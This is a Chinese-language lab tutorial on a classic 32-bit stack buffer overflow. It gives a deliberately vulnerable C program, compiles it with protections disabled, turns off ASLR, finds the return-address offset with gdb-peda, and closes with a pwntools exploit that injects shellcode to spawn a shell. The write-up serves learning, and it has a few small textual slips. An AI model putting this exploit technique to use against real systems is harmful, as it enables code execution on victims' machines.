實驗的緩衝區溢出源碼:
// 1.c #include<stdio.h> void func() { char name[0x50];//0x100大小的棧空間 read(0, name, 0x100);//輸入0x200大小的數據 write(1, name, 0x100); } int main() { func(); return 0; }
x86下無任何防護機制編譯:
gcc -m32 1.c -o 1 -O0 -fno-stack-protector -z execstack -z norelro -no-pie
m32:生成32bit程序需要gcc-multilib(x86機器上編譯不用加)
O0:不進行任何優化
fno-stack-protector:不開啓canary棧溢出檢測
z execstack:開啓棧可執行關閉NX
-no-pie:不開啓pie保護
出現問題:fatal error: bits/libc-header-start.h: No such file or directory
原因:64位機子編譯c語言32出現
解決辦法:安裝32位的c語言編譯環境
apt-get install gcc-multilib
編譯完成後進行實驗前還需要關閉ASLR
判斷ASLR是否打開
cat /proc/sys/kernel/randomize_va_space
#ldd x #另一種判斷方式 x是程序名,運行兩次,如果兩次libc的基址一樣也說明了主機沒有開啓ASLR
ALRS:
ASLR是一種針對緩衝區溢出的安全保護技術,通過對堆、棧、共享庫映射等線性區佈局的隨機化,通過增加攻擊者預測目的地址的難度,防止攻擊者直接定位攻擊代碼位置,達到阻止溢出攻擊的目的。
在linux中使用此技術後,殺死某程序後重新開啓,地址換。
在windows中使用此技術後,殺死進程後重新開啓,地址不換,重啓纔會改變。
以上cat命令輸出的值表示:
0 - 表示關閉進程地址空間隨機化。
1 - 表示將mmap的基址,stack和vdso頁面隨機化。
2 - 表示在1的基礎上增加棧(heap)的隨機化。
關閉ASLR,切換至root用戶,輸入命令
echo 0 > /proc/sys/kernel/randomize_va_space
首先尋找多少字節能溢出切剛好能夠覆蓋return addr。我們使用gdb-peda提供的pattern_create和pattern_offset。pattern_create是生成一個字符串模板輸入後根據EIP來確定覆蓋return addr的長度。
gdb-peda$ pattern_create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
然後讓程序跑起來輸入這串字符串後程序崩潰
使用pattern_offset獲取偏移地址
Stopped reason: SIGSEGV 0x41416741 in ?? () gdb-peda$ pattern_offset 0x41416741 1094805313 found at offset: 92
接下來在棧中部署一段shellcode然後讓return addr的內容爲shellcode的地址
先查找eip地址
這裏bbbb是eip的位置cccc是shellcode的位置然後運行這個python後程序崩潰我們調試core dump(gdb -c core)文件找cccc的地址填到eip的位置即可。
from pwn import * io = process("./1") payload = 'a' * 92 payload += 'bbbb' # eip payload += 'cccc' # shellcode io.send(payload)
運行python程序後崩潰我們得到core文件,調試core dump(gdb -c core)文件找eip的地址
個人理解:x/wx 命令是驗證地址是不是eip。esp是棧頂指針,因爲進入了call,ip最後入棧的,所以此時esp中存放着的是eip
x /4xg $ebp
:查看ebp開始的4個8字節內容(b:單字節,h:雙字節,w:四字節,g:八字節;x:十六進制,s:字符串輸出,i:反彙編,c:單字符)
得到eip的地址我們可以寫exp了
from pwn import * context(log_level = 'debug', arch = 'i386', os = 'linux')#arch取決於file查看文件的arch,不是看系統,如果64位就只用amd64 io = process("./2") payload = 'a' * 92 payload += p32(0xffffd140) payload += asm(shellcraft.sh()) raw_input() io.send(payload) io.interactive()
運行exp:
參考:https://www.anquanke.com/post/id/85138